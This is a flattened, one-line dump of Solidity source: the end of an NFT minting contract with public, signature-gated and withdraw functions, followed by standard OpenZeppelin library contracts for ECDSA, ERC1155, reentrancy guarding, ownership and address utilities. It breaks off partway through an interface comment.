@notice Public mint accessible by anyone (contracts excluded) */ function publicMint() public payable nonReentrant { require(saleActive, "Sale is not active"); require(publicSupply + 1 <= MAX_PUBLIC_SUPPLY, "Exceeds maximum number of public tokens"); baseMint(_msgSender()); publicSupply += 1; } /** * @notice Mintlist mint accessible only to those with a signature * @param signature created by signer account */ function mintlistMint(bytes memory signature) public payable nonReentrant { address _signer = ECDSA.recover( ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_msgSender()))), signature ); require(signer == _signer, "Invalid signature"); baseMint(_msgSender()); } /** * @notice Withdraw all ETH transferred to the contract */ function withdraw() external onlyOwner { Address.sendValue(payable(_msgSender()), address(this).balance); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which 